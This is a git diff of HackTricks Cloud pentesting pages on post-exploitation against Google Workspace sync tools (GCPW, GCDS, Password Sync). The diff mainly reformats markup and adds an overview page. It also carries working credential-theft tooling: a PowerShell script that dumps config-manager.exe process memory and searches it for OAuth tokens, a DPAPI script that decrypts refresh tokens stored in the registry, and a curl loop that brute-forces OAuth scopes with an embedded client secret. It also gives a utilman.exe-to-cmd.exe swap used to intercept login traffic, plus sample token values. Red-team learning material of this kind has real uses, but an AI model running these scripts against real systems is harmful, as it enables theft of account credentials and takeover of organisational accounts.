+++ b/src/pentesting-cloud/workspace-security/gws-post-exploitation.md
@@ -1,19 +1,6 @@
 # GWS - Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Google Groups Privesc
 
@@ -28,9 +15,9 @@ If you managed to **compromise a google user session**, from [**https://groups.g
 
 ## GCP <--> GWS Pivoting
 
-{% content-ref url="../gcp-security/gcp-to-workspace-pivoting/" %}
-[gcp-to-workspace-pivoting](../gcp-security/gcp-to-workspace-pivoting/)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-security/gcp-to-workspace-pivoting/
+{{#endref}}
 
 ## Takeout - Download Everything Google Knows about an account
 
@@ -42,7 +29,7 @@ If an organization has **Google Vault enabled**, you might be able to access [**
 
 ## Contacts download
 
-From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es\&tab=mC) you can download all the **contacts** of the user.
+From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
 
 ## Cloudsearch
 
@@ -62,8 +49,8 @@ For sake of simplicity, most of the people will generate and share a link instea
 
 Some proposed ways to find all the documents:
 
-* Search in internal chat, forums...
-* **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
+- Search in internal chat, forums...
+- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
 
 ## **Keep Notes**
 
@@ -81,20 +68,7 @@ You can also find emails by searching through all the user's invoices in [**http
 
 ## References
 
-* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
-* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
+- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
+- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md
new file mode 100644
index 000000000..30dd96b90
--- /dev/null
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md
@@ -0,0 +1,58 @@
+# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## GCPW - Google Credential Provider for Windows
+
+This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
+
+> [!TIP]
+> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
+
+Find more information about this in:
+
+{{#ref}}
+gcpw-google-credential-provider-for-windows.md
+{{#endref}}
+
+## GCSD - Google Cloud Directory Sync
+
+This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
+
+It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
+
+> [!TIP]
+> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
+
+Find more information about this in:
+
+{{#ref}}
+gcds-google-cloud-directory-sync.md
+{{#endref}}
+
+## GPS - Google Password Sync
+
+This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
+
+It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
+
+> [!TIP]
+> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
+
+Find more information about this in:
+
+{{#ref}}
+gps-google-password-sync.md
+{{#endref}}
+
+## Admin Directory Sync
+
+The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
+
+Find more information about this in:
+
+{{#ref}}
+gws-admin-directory-sync.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
similarity index 65%
rename from pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
rename to src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
index a2f5e0f0e..47a7a9468 100644
--- a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
@@ -1,19 +1,6 @@
 # GCDS - Google Cloud Directory Sync
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,17 +8,15 @@ This is a tool that can be used to **sync your active directory users and groups
 
 It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
 
-{% hint style="info" %}
-To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
-{% endhint %}
+> [!NOTE]
+> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
 
-{% hint style="success" %}
-Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
-{% endhint %}
+> [!TIP]
+> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
 
 Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
 
-<figure><img src="../../../.gitbook/assets/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
+<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
 
 ### GCDS - Disk Tokens & AD Credentials
 
@@ -168,9 +153,8 @@ Write-Host "Decrypted Password: $decryptedPassword"
 
 </details>
 
-{% hint style="info" %}
-Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
-{% endhint %}
+> [!NOTE]
+> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
 
 Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
 
@@ -184,74 +168,74 @@ I guess you could also find the AD configured credentials.
 <summary>Dump config-manager.exe processes and search tokens</summary>
 
 ```powershell
-# Define paths for Procdump and Strings utilities   
-$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"   
-$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"   
-$dumpFolder = "C:\Users\Public\dumps"   
- 
-# Regular expressions for tokens 
-$tokenRegexes = @( 
-    "ya29\.[a-zA-Z0-9_\.\-]{50,}", 
-    "1//[a-zA-Z0-9_\.\-]{50,}" 
+# Define paths for Procdump and Strings utilities
+$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
+$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
+$dumpFolder = "C:\Users\Public\dumps"
+
+# Regular expressions for tokens
+$tokenRegexes = @(
+    "ya29\.[a-zA-Z0-9_\.\-]{50,}",
+    "1//[a-zA-Z0-9_\.\-]{50,}"
 )
- 
-# Create a directory for the dumps if it doesn't exist   
-if (!(Test-Path $dumpFolder)) {   
-    New-Item -Path $dumpFolder -ItemType Directory   
-}   
- 
-# Get all Chrome process IDs   
-$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id   
- 
-# Dump each Chrome process   
-foreach ($processId in $chromeProcesses) {   
-    Write-Output "Dumping process with PID: $processId"   
-    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"   
-}   
- 
-# Extract strings and search for tokens in each dump   
-Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {   
-    $dumpFile = $_.FullName   
-    $baseName = $_.BaseName 
-    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"   
-    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"   
- 
-    Write-Output "Extracting strings from $dumpFile"   
-    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile   
-    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile   
- 
-    $outputFiles = @($asciiStringsFile, $unicodeStringsFile) 
- 
-    foreach ($file in $outputFiles) { 
-        foreach ($regex in $tokenRegexes) { 
- 
-            $matches = Select-String -Path $file -Pattern $regex -AllMatches 
- 
-            $uniqueMatches = @{} 
- 
-            foreach ($matchInfo in $matches) { 
-                foreach ($match in $matchInfo.Matches) { 
-                    $matchValue = $match.Value 
-                    if (-not $uniqueMatches.ContainsKey($matchValue)) { 
-                        $uniqueMatches[$matchValue] = @{ 
-                            LineNumber = $matchInfo.LineNumber 
-                            LineText   = $matchInfo.Line.Trim() 
-                            FilePath   = $matchInfo.Path 
-                        } 
-                    } 
-                } 
-            } 
- 
-            foreach ($matchValue in $uniqueMatches.Keys) { 
-                $info = $uniqueMatches[$matchValue] 
-                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" 
-            } 
-        } 
- 
-        Write-Output "" 
-    } 
-} 
- 
+
+# Create a directory for the dumps if it doesn't exist
+if (!(Test-Path $dumpFolder)) {
+    New-Item -Path $dumpFolder -ItemType Directory
+}
+
+# Get all Chrome process IDs
+$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
+
+# Dump each Chrome process
+foreach ($processId in $chromeProcesses) {
+    Write-Output "Dumping process with PID: $processId"
+    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
+}
+
+# Extract strings and search for tokens in each dump
+Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
+    $dumpFile = $_.FullName
+    $baseName = $_.BaseName
+    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
+    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
+
+    Write-Output "Extracting strings from $dumpFile"
+    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
+    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
+
+    $outputFiles = @($asciiStringsFile, $unicodeStringsFile)
+
+    foreach ($file in $outputFiles) {
+        foreach ($regex in $tokenRegexes) {
+
+            $matches = Select-String -Path $file -Pattern $regex -AllMatches
+
+            $uniqueMatches = @{}
+
+            foreach ($matchInfo in $matches) {
+                foreach ($match in $matchInfo.Matches) {
+                    $matchValue = $match.Value
+                    if (-not $uniqueMatches.ContainsKey($matchValue)) {
+                        $uniqueMatches[$matchValue] = @{
+                            LineNumber = $matchInfo.LineNumber
+                            LineText   = $matchInfo.Line.Trim()
+                            FilePath   = $matchInfo.Path
+                        }
+                    }
+                }
+            }
+
+            foreach ($matchValue in $uniqueMatches.Keys) {
+                $info = $uniqueMatches[$matchValue]
+                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
+            }
+        }
+
+        Write-Output ""
+    }
+}
+
 Remove-Item -Path $dumpFolder -Recurse -Force
 ```
 
@@ -271,11 +255,10 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
 
 ### GCDS - Scopes
 
-{% hint style="info" %}
-Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
-
-Also, the refresh token is not valid in every application.
-{% endhint %}
+> [!NOTE]
+> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
+>
+> Also, the refresh token is not valid in every application.
 
 By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
 
@@ -284,7 +267,7 @@ By default GCSD won't have access as the user to every possible OAuth scope, so
 <summary>Bash script to brute-force scopes</summary>
 
 ```bash
-curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
+curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
     echo -ne "Testing $scope           \r"
     if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
      --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -351,21 +334,7 @@ curl -X POST \
 # You could also change the password of a user for example
 ```
 
-{% hint style="danger" %}
-It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
-{% endhint %}
+> [!CAUTION]
+> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
similarity index 80%
rename from pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
rename to src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
index 5e62c0b1e..8a7623ba3 100644
--- a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
@@ -1,33 +1,18 @@
 # GCPW - Google Credential Provider for Windows
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store tokens to access Google Workspace in some places in the PC.
 
-{% hint style="success" %}
-Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
-{% endhint %}
+> [!TIP]
+> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
 
 ### GCPW - MitM
 
 When a user access a Windows PC synchronized with Google Workspace via GCPW it will need to complete a common login form. This login form will return an OAuth code that the PC will exchange for the refresh token in a request like:
 
-{% code overflow="wrap" %}
 ```http
 POST /oauth2/v4/token HTTP/2
 Host: www.googleapis.com
@@ -43,16 +28,14 @@ scope=https://www.google.com/accounts/OAuthLogin
 &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
 &device_type=chrome
 ```
-{% endcode %}
 
 New lines have been added to make it more readable.
 
-{% hint style="info" %}
-It was possible to perform a MitM by installing `Proxifier` in the PC, overwriting the `utilman.exe` binary with a `cmd.exe` and executing the **accessibility features** in the Windows login page, which will execute a **CMD** from which you can **launch and configure the Proxifier**.\
-Don't forget to **block QUICK UDP** traffic in `Proxifier` so it downgrades to TCP communication and you can see it.
-
-Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows.
-{% endhint %}
+> [!NOTE]
+> It was possible to perform a MitM by installing `Proxifier` in the PC, overwriting the `utilman.exe` binary with a `cmd.exe` and executing the **accessibility features** in the Windows login page, which will execute a **CMD** from which you can **launch and configure the Proxifier**.\
+> Don't forget to **block QUICK UDP** traffic in `Proxifier` so it downgrades to TCP communication and you can see it.
+>
+> Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows.
 
 Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** it's possible to make it store some logs.
 
@@ -89,42 +72,37 @@ In **`HKCU:\SOFTWARE\Google\Accounts`** it's possible to access the email of the
 
 In **`HKLM:\SOFTWARE\Google\GCPW\Users`** it's possible to find the **domains** that are allowed to login in the key `domains_allowed` and in subkeys it's possible to find information about the user like email, pic, user name, token lifetimes, token handle...
 
-{% hint style="info" %}
-The token handle is a token that starts with `eth.` and from which can be extracted some info with a request like:
-
-{% code overflow="wrap" %}
-```bash
-curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-  -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
-# Example response
-{
-  "audience": "77185425430.apps.googleusercontent.com",
-  "scope": "https://www.google.com/accounts/OAuthLogin",
-  "expires_in": 12880152
-}
-```
-{% endcode %}
-
-Also it's possible to find the token handle of an access token with a request like:
-
-{% code overflow="wrap" %}
-```bash
-curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-  -d 'access_token=<access token>'
-# Example response
-{
-  "issued_to": "77185425430.apps.googleusercontent.com",
-  "audience": "77185425430.apps.googleusercontent.com",
-  "scope": "https://www.google.com/accounts/OAuthLogin",
-  "expires_in": 1327,
-  "access_type": "offline",
-  "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
-}
-```
-{% endcode %}
-
-Afaik it's not possible obtain a refresh token or access token from the token handle.
-{% endhint %}
+> [!NOTE]
+> The token handle is a token that starts with `eth.` and from which can be extracted some info with a request like:
+>
+> ```bash
+> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
+>   -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
+> # Example response
+> {
+>   "audience": "77185425430.apps.googleusercontent.com",
+>   "scope": "https://www.google.com/accounts/OAuthLogin",
+>   "expires_in": 12880152
+> }
+> ```
+>
+> Also it's possible to find the token handle of an access token with a request like:
+>
+> ```bash
+> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
+>   -d 'access_token=<access token>'
+> # Example response
+> {
+>   "issued_to": "77185425430.apps.googleusercontent.com",
+>   "audience": "77185425430.apps.googleusercontent.com",
+>   "scope": "https://www.google.com/accounts/OAuthLogin",
+>   "expires_in": 1327,
+>   "access_type": "offline",
+>   "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
+> }
+> ```
+>
+> Afaik it's not possible obtain a refresh token or access token from the token handle.
 
 Moreover, the file **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** is a json containing the information of different **settings** like `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (if several users from Workspace can login in the computer) and `validityPeriodDays` (number of days a user doesn't need to reauthenticate with Google directly).
 
@@ -166,7 +144,7 @@ function Get-RegistryKeysAndDecryptTokens {
                 # Decrypt the bytes using ProtectedData.Unprotect
                 $decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
                 $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)
-                
+
                 Write-Output "Path: $keyPath"
                 Write-Output "Decrypted refresh_token: $decryptedToken"
                 Write-Output "-----------------------------"
@@ -193,11 +171,9 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
 
 Example out:
 
-{% code overflow="wrap" %}
 ```
 Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
 ```
-{% endcode %}
 
 As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), if you don't find the token in the registry it's possible to modify the value (or delete) from **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** and the next time the user access the computer he will need to login again and the **token will be stored in the previous registry**.
 
@@ -205,12 +181,12 @@ As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), i
 
 The file **`%LocalAppData%\Google\Chrome\User Data\Local State`** stores the key to decrypt the **`refresh_tokens`** located inside the **Google Chrome profiles** of the user like:
 
-* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
-* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
+- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
+- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
 
